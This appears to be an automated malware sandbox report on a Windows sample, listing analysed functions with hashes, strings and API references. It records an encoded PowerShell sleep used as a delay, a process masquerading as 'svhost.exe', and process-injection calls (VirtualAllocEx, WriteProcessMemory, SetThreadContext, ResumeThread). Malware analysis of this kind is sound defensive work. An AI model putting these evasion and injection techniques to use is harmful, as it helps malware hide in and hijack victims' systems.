Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
Imagebase:	0xa0000
File size:	430592 bytes
MD5 hash:	DBA3E6449E97D4E3DF64527EF7012A10
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET

Show Windows behavior

Target ID:	17
Start time:	08:11:11
Start date:	02/02/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7c72c0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Show Windows behavior

Function 00007FF8163D1BEC Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.384453912.00007FF8163D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8163D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8163d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc673df5f9af6052ae74971160c8b7a97527fd9d9553eee843a57a719bd7c800
Instruction ID: 5adeb3ca0df1afd0c267bbcef4ac50a11880a1a15b4bb173f38a72b29998cc34
Opcode Fuzzy Hash: cc673df5f9af6052ae74971160c8b7a97527fd9d9553eee843a57a719bd7c800
Instruction Fuzzy Hash: 38511632D1CE4A4FD344DB28E8547A5B7E1FF85361F5843BAE48CC72A6DA2899818781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8164A0819 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.384627391.00007FF8164A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8164A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8164a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d1f26cbc7afc2aa4c81342ff9fbe725baa26e1fe2177edd935e04aa7d7a5f7
Instruction ID: 4a174d9963c3cde250dd272759f1c0336b560e523b58ce5a3daef48a11ae68f8
Opcode Fuzzy Hash: 03d1f26cbc7afc2aa4c81342ff9fbe725baa26e1fe2177edd935e04aa7d7a5f7
Instruction Fuzzy Hash: 58512732E1DE4A5FF7A9962C54122B973D1EF51B64B0802BEC08EC7193DE19A815C38A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8163D1B34 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.384453912.00007FF8163D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8163D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8163d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 077fe32734efc8a57bdf179fbea87bf6a670adc6473ff787b5b56e2ac91929f1
Instruction ID: e30705c09ea48686cc3db030c0c2972e1ca0d4be7b3f886790e69c8b2f5d24ca
Opcode Fuzzy Hash: 077fe32734efc8a57bdf179fbea87bf6a670adc6473ff787b5b56e2ac91929f1
Instruction Fuzzy Hash: 3221D63051CB494FD749DF18D4956BAB7E0FF95360F50057DE0CAC72A2EB26A882CB41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF8164A08C6 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.384627391.00007FF8164A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8164A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8164a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87e2d6b36f4c46755656a75a7bbdbfe10c2ea6e6e430b82c44ac2cb854aa946a
Instruction ID: 2cc7a8547a7cb30b219f01e7b2a94404268ad445d48667317075bef44694c60a
Opcode Fuzzy Hash: 87e2d6b36f4c46755656a75a7bbdbfe10c2ea6e6e430b82c44ac2cb854aa946a
Instruction Fuzzy Hash: 8D115423E1EE4A9FF7A8962C54512B873C5EF41BA4B4802BED08EC30D3DD19A810C245

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF8163D1660 Relevance: .4, Instructions: 375COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.384453912.00007FF8163D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8163D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8163d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c069e4474a882fd9a1647f7a8d76c0ba58bfa2e9314ab6cdefd2ec0fc1e9001
Instruction ID: 0563a9fc4c685bbc2d5410cfa778e3cb01307c05e0aaee2f5e6cf83a9c70b057
Opcode Fuzzy Hash: 1c069e4474a882fd9a1647f7a8d76c0ba58bfa2e9314ab6cdefd2ec0fc1e9001
Instruction Fuzzy Hash: C7B14931A1CE4A4FE329DB18D4946B1B7D0FF453B1B5487BEC4CAC7596DA25B882C780

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: svhost.exePID: 4768, Parent PID: 4852COMMON

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	220
Total number of Limit Nodes:	10

Executed Functions

Function 056B1070 Relevance: 2.6, Strings: 1, Instructions: 1339COMMON

Download Yara Rule

Strings

2, xrefs: 056B205B

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: 2
API String ID: 0-450215437
Opcode ID: fb5d598b10f4cf119fa58a5e776d7c71029e6fcf02a4bff4a5cff503ebb465cf
Instruction ID: c03b66f54063893c77502298a482d07b89ad823c3605d5fd849de986ab2931c6
Opcode Fuzzy Hash: fb5d598b10f4cf119fa58a5e776d7c71029e6fcf02a4bff4a5cff503ebb465cf
Instruction Fuzzy Hash: D5E2C0B4A012288FDB64DF68D994A9ABBF6FF89301F1481E9D809A7354DB305E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 056BCEF8 Relevance: 1.7, Strings: 1, Instructions: 460COMMON

Download Yara Rule

Strings

UUUU, xrefs: 056BD275

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: UUUU
API String ID: 0-1798160573
Opcode ID: 1772a37f76ffc48803f58a53ea4d83a2a8a919e70c84c3c38ba87b33f702f586
Instruction ID: 2f601c078d399fe65f642b46ac3be3fdc618ad4a57208af59ab8fcb13011ae70
Opcode Fuzzy Hash: 1772a37f76ffc48803f58a53ea4d83a2a8a919e70c84c3c38ba87b33f702f586
Instruction Fuzzy Hash: 54129271E046599BDB14CFAAC9806DDFBF2BF88304F28C169D418EB219D734A986CF54

Uniqueness

Uniqueness Score: -1.00%

Function 056B86B8 Relevance: 1.3, Strings: 1, Instructions: 75COMMON

Download Yara Rule

Strings

n, xrefs: 056B8A07

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: n
API String ID: 0-2013832146
Opcode ID: ee9fea49a4b66e5e79acc2f5b06e5313e74aaeb239a16c85e20174a03d5586a0
Instruction ID: 953935fe35379cbaab88a7760fa800092494820ff7e79af17e004986e89a37cc
Opcode Fuzzy Hash: ee9fea49a4b66e5e79acc2f5b06e5313e74aaeb239a16c85e20174a03d5586a0
Instruction Fuzzy Hash: ED315A71D056588BEB68DF6B8D4869AFAF7AFC8200F14C1BA980CA7254DB750A81CF54

Uniqueness

Uniqueness Score: -1.00%

Function 056B29E0 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7b4d6150a19283660d3756cc284f060fe43e05ef770d7790f32bf6330273b0c
Instruction ID: 5fa8f14fe2ece07925ae0e1341c98d98e6ab8c3144ee424843a3fd88cd347ff9
Opcode Fuzzy Hash: e7b4d6150a19283660d3756cc284f060fe43e05ef770d7790f32bf6330273b0c
Instruction Fuzzy Hash: 8152C0B4A016298FCB64DF28C994B9ABBB2FB49301F1081D9D90DA7355DB30AEC5CF54

Uniqueness

Uniqueness Score: -1.00%

Function 056BF5D8 Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34e8d007b570d4d8271e9268ba953c4b70e720ad0c938718e94f6fa088374c8a
Instruction ID: 072055510f000115f72b59d3e7d046100bfa15fb6b962176739a85165f575ee9
Opcode Fuzzy Hash: 34e8d007b570d4d8271e9268ba953c4b70e720ad0c938718e94f6fa088374c8a
Instruction Fuzzy Hash: AA910670E06208CFEB14DFA9D954AEDFBB6FB89300F209069D409A7365DB745886CF40

Uniqueness

Uniqueness Score: -1.00%

Function 056BF5C9 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec83c623cdb31e1b3fee40609026b07521ad8794efd85d533d4b8d1287fc695
Instruction ID: a9990a5a4104aa9a503e462fde14aa0773e5a9a3456657f02460d8967652f9ce
Opcode Fuzzy Hash: 0ec83c623cdb31e1b3fee40609026b07521ad8794efd85d533d4b8d1287fc695
Instruction Fuzzy Hash: B8810974E06208DFEB24DFA9D954AEDFBB2FB89300F209069D409A7365DB745986CF40

Uniqueness

Uniqueness Score: -1.00%

Function 056BCEE8 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 94de15a6e929430430ceb1109235ccb16919a34c5ea6122ba96898875ef7b358
Instruction ID: 4844fba8bb5833eb6cf805630bbb3245ade477711254bb48c0b04b5c28a9a4e7
Opcode Fuzzy Hash: 94de15a6e929430430ceb1109235ccb16919a34c5ea6122ba96898875ef7b358
Instruction Fuzzy Hash: BC417A71E016598BEB18CFABC94059EFBF3BFC8300F14C07AD908AB214EB3459468B54

Uniqueness

Uniqueness Score: -1.00%

Function 05A5B598 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 05A5B5FF
RtlDecodePointer.NTDLL ref: 05A5B644
RtlEncodePointer.NTDLL(00000000), ref: 05A5B6AF
RtlDecodePointer.NTDLL(-000000FC), ref: 05A5B6F9
RtlEncodePointer.NTDLL(00000000), ref: 05A5B739
RtlDecodePointer.NTDLL ref: 05A5B77F
RtlDecodePointer.NTDLL ref: 05A5B7C3

Strings

&27Y, xrefs: 05A5B5B7

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: Pointer$Decode$Encode
String ID: &27Y
API String ID: 1638560559-21124964
Opcode ID: 25ec39361d8e1adcc34a3046465415cdff3748e772ff978aba1f3d0b72cdcef5
Instruction ID: 43a1584e91dc54f63d64bf92ace22e56f503e305101c337f1bf00ec20a50cdbd
Opcode Fuzzy Hash: 25ec39361d8e1adcc34a3046465415cdff3748e772ff978aba1f3d0b72cdcef5
Instruction Fuzzy Hash: 358128B5C05258DFCB20CFA8D188BDCBFF1AB18325F24804AE85AAB791C7755885CF61

Uniqueness

Uniqueness Score: -1.00%

Function 05A5B583 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 163
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDecodePointer.NTDLL ref: 05A5B5FF
RtlDecodePointer.NTDLL ref: 05A5B644
RtlEncodePointer.NTDLL(00000000), ref: 05A5B6AF
RtlDecodePointer.NTDLL(-000000FC), ref: 05A5B6F9
RtlEncodePointer.NTDLL(00000000), ref: 05A5B739
RtlDecodePointer.NTDLL ref: 05A5B77F
RtlDecodePointer.NTDLL ref: 05A5B7C3

Strings

&27Y, xrefs: 05A5B5B7

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: Pointer$Decode$Encode
String ID: &27Y
API String ID: 1638560559-21124964
Opcode ID: fd57bb729d1b4e0465cdfcd4522019dc4deea2f664118154c0929500494884bf
Instruction ID: cb1348aca4869d47c8e85b5eed67590c883ae94e2350bb0bcecaeaaa86a19ff2
Opcode Fuzzy Hash: fd57bb729d1b4e0465cdfcd4522019dc4deea2f664118154c0929500494884bf
Instruction Fuzzy Hash: DE7109B4C05258DFCB21DFA8D188B9CBFF1AB18325F24804AE85AAB791C7755885CF61

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A868 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 324
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&27Y, xrefs: 05A5A8EB
&27Y, xrefs: 05A5A91A

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID:
String ID: &27Y$&27Y
API String ID: 0-2181593304
Opcode ID: a17750f90965418cf591fd768d1d4b4477897859a52de018c675d01710f4aea9
Instruction ID: 4e34f7b6a28dd5ee150312a6a801ac54a4b3c874db8e11d72a2aefb42a441d91
Opcode Fuzzy Hash: a17750f90965418cf591fd768d1d4b4477897859a52de018c675d01710f4aea9
Instruction Fuzzy Hash: B4C13771D00229DFDB20DFA8C844BEDBBB1BF09311F0492A9D859B7240DB749A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A8A6 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 322
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05A5AB77

Strings

&27Y, xrefs: 05A5A8EB
&27Y, xrefs: 05A5A91A

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: CreateProcess
String ID: &27Y$&27Y
API String ID: 963392458-2181593304
Opcode ID: a41113202c3d463daf8e8ba30f87b7c270ee4c26969a9c2b557d6fbd1df5b573
Instruction ID: e3f57a25aed8e5c075eec5f13536f43bf57029713870b38538dffc99d09dcf41
Opcode Fuzzy Hash: a41113202c3d463daf8e8ba30f87b7c270ee4c26969a9c2b557d6fbd1df5b573
Instruction Fuzzy Hash: C3C12671D00229DFDB24CFA8C884BEDBBB1BF49311F0492A9D859B7240DB749A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A8B0 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 321
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05A5AB77

Strings

&27Y, xrefs: 05A5A8EB
&27Y, xrefs: 05A5A91A

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: CreateProcess
String ID: &27Y$&27Y
API String ID: 963392458-2181593304
Opcode ID: 41237ef82282e2a230d69eb4a893a04f5f752889914df254ac74e007f15c2345
Instruction ID: 0e2824bc89293806921a71b4926fca8e9588c21f99996eb993963f0b30b79e0e
Opcode Fuzzy Hash: 41237ef82282e2a230d69eb4a893a04f5f752889914df254ac74e007f15c2345
Instruction Fuzzy Hash: 91C12671D0022D9FDB24CFA8C884BEDBBB1BF49311F0496A9D859B7240DB749A85CF94

Uniqueness

Uniqueness Score: -1.00%

Function 056BF0E1 Relevance: 3.8, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

!, xrefs: 056BF103
:, xrefs: 056BE215
%, xrefs: 056BF133

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: !$%$:
API String ID: 0-481392095
Opcode ID: 5ec4476555519f7d52fd99fd968567eb692e2082345ddc31a1aff89ba7508cfb
Instruction ID: 4c2e6ccc9193c9a98f9ac9c6d7ae5fb4aecfa0822ff898826e9aeca6b7329b08
Opcode Fuzzy Hash: 5ec4476555519f7d52fd99fd968567eb692e2082345ddc31a1aff89ba7508cfb
Instruction Fuzzy Hash: D3315674A06259CFEB10DF68D958BEDBBB2FB49301F0450A9D409AB341CB789D85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE0B0 Relevance: 3.8, Strings: 3, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

/, xrefs: 056BE0DB
, xrefs: 056BE0B5
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: $/$:
API String ID: 0-742840761
Opcode ID: 96bf145e17a80fc6212da440feb7f76de35d39653a5dc9033bd4a922d8eeb42a
Instruction ID: 3b876f5bc1127402b66534c5cb856d559a112783c92ead3af06240e64705ac5b
Opcode Fuzzy Hash: 96bf145e17a80fc6212da440feb7f76de35d39653a5dc9033bd4a922d8eeb42a
Instruction Fuzzy Hash: 5E213774A06258CFEB50DF58D958BEDBBB2FB89300F1450A9D409AB345CB384D89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BF1CB Relevance: 3.8, Strings: 3, Instructions: 53
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4, xrefs: 056BF1F1
,, xrefs: 056BF1CB
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: ,$4$:
API String ID: 0-4190468137
Opcode ID: 10a18dfe5d0863b2330ed12f2a658e0de5f3eaee0ac06913863e3fb95d7d3816
Instruction ID: e17aa9dca206f1fce81f3a44bfb5b12b9a8658dd175acefb9f5a07a683d344e5
Opcode Fuzzy Hash: 10a18dfe5d0863b2330ed12f2a658e0de5f3eaee0ac06913863e3fb95d7d3816
Instruction Fuzzy Hash: B7213574A06258CFEB10DF68D958BEDBBB2FB89300F0450A8D409AB345CB384E89CF04

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A5E0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05A5A6BB

Strings

&27Y, xrefs: 05A5A60A

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: &27Y
API String ID: 3559483778-21124964
Opcode ID: ef5add3c52459adcc41a4b6983fd342b46b20d6c819b50534e8724363756a0af
Instruction ID: a3157e29961278ae1372e115cd52859332b4bfe922e6ff5af3aed2a7b14065b7
Opcode Fuzzy Hash: ef5add3c52459adcc41a4b6983fd342b46b20d6c819b50534e8724363756a0af
Instruction Fuzzy Hash: C5419AB5D012589FCF00CFA9D984AEEFBF1BB59314F14902AE819B7200D778AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A5E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 05A5A6BB

Strings

&27Y, xrefs: 05A5A60A

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: &27Y
API String ID: 3559483778-21124964
Opcode ID: 89459a473da250e38b49fd9479436a373525d94201b9c2347b3026a1ecdca358
Instruction ID: 8685731c4af31a6542f15cb28964f679b76cf36529ef7b13eee22b97263377fe
Opcode Fuzzy Hash: 89459a473da250e38b49fd9479436a373525d94201b9c2347b3026a1ecdca358
Instruction Fuzzy Hash: 3441ABB5D012589FCF00CFA9D984AEEFBF1BB49314F14902AE819B7200D778AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A48A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 102
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05A5A53A

Strings

&27Y, xrefs: 05A5A4AA

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: AllocVirtual
String ID: &27Y
API String ID: 4275171209-21124964
Opcode ID: 415cdbe42ab8bf7aeb3f305361a047c50f4c6cad3ba1183ffcece0e9fd5fc95e
Instruction ID: d0a20d650f1005332dc187496762aab622f78683fce2fa0ecaded2403ee312e6
Opcode Fuzzy Hash: 415cdbe42ab8bf7aeb3f305361a047c50f4c6cad3ba1183ffcece0e9fd5fc95e
Instruction Fuzzy Hash: 6F3188B9D002589BCF10CFA9E980ADEFBB5FB59320F10902AE815B7310D735A946CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A490 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 101
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 05A5A53A

Strings

&27Y, xrefs: 05A5A4AA

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: AllocVirtual
String ID: &27Y
API String ID: 4275171209-21124964
Opcode ID: 5f3d847f9e9ecd35ea106ba85329da9c243689facb41984047fb6b331724896f
Instruction ID: ca73cc8be4bf271ea54fe136da68c3a32c761039cd9f7e6c04426f729b5c19fc
Opcode Fuzzy Hash: 5f3d847f9e9ecd35ea106ba85329da9c243689facb41984047fb6b331724896f
Instruction Fuzzy Hash: FA3187B9D002589BCF10CFA9E980ADEFBB5BB59320F10902AE815B7210D735A946CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A2B8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 97
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,?), ref: 05A5A36F

Strings

&27Y, xrefs: 05A5A2DF

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: ContextThread
String ID: &27Y
API String ID: 1591575202-21124964
Opcode ID: dae826548d1385c83bde0b64fa95e116d22b7b832366242bbe732da0fffb8fb9
Instruction ID: 1a7497bb754688cecc3613db4b798a4c177b3611377a878dd3a2403b4805f86f
Opcode Fuzzy Hash: dae826548d1385c83bde0b64fa95e116d22b7b832366242bbe732da0fffb8fb9
Instruction Fuzzy Hash: 5541BEB5D012589FCB10CFAAD884AEEFBF1BF59324F14802AE815B7240D778A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0173E790 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 0173E834

Strings

&27Y, xrefs: 0173E7AF

Memory Dump Source

Source File: 00000002.00000002.423360534.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1730000_svhost.jbxd

Similarity

API ID: ProtectVirtual
String ID: &27Y
API String ID: 544645111-21124964
Opcode ID: cc89bc66327ad22e8ae19b75b76a559916c6d6e611254c00b3e9a486e2dcae36
Instruction ID: 1e31499684831d4bb95b377ed273168492e15bdf0b12e5bcc4699bfb940e81c5
Opcode Fuzzy Hash: cc89bc66327ad22e8ae19b75b76a559916c6d6e611254c00b3e9a486e2dcae36
Instruction Fuzzy Hash: 8531A7B8D002589FCF14CFA9D980AEEFBB5BB59310F14A02AE814B7210DB35A945CF94

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A2C0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 94
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE(?,?), ref: 05A5A36F

Strings

&27Y, xrefs: 05A5A2DF

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: ContextThread
String ID: &27Y
API String ID: 1591575202-21124964
Opcode ID: da4403f7ec113e27e67782921c83699f427cb97a515f7f59f738d619f0c2953e
Instruction ID: 0148da44f449e9aa0a435311dba40540ac7c5b7411dd9bc02f3cc42308d540cc
Opcode Fuzzy Hash: da4403f7ec113e27e67782921c83699f427cb97a515f7f59f738d619f0c2953e
Instruction Fuzzy Hash: 5E31BCB5D012589FCB10CFAAD884AEEFBF1BF49324F14802AE815B7240D778A945CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0173EA50 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0173EACE

Strings

&27Y, xrefs: 0173EA6A

Memory Dump Source

Source File: 00000002.00000002.423360534.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_1730000_svhost.jbxd

Similarity

API ID: ResumeThread
String ID: &27Y
API String ID: 947044025-21124964
Opcode ID: a4487f1eafeb62c1808e470842c5c4fab4e61ead475e4be3124c64ca5263c611
Instruction ID: 2cd4003311c9a7ddab5039c028f3b5d8038fdeb185f62a41a877c0c6fea00a63
Opcode Fuzzy Hash: a4487f1eafeb62c1808e470842c5c4fab4e61ead475e4be3124c64ca5263c611
Instruction Fuzzy Hash: B531ABB5D012189FCF14CFAAD984AEEFBB5AB58314F14942AE815B7300DB74A941CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 056BE858 Relevance: 2.6, Strings: 2, Instructions: 83COMMON

Download Yara Rule

Strings

#, xrefs: 056BE862
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: #$:
API String ID: 0-4071496127
Opcode ID: 00442798e4084998d5c72065638992d96e4f66ba2fe35d2f323dd166927e3d40
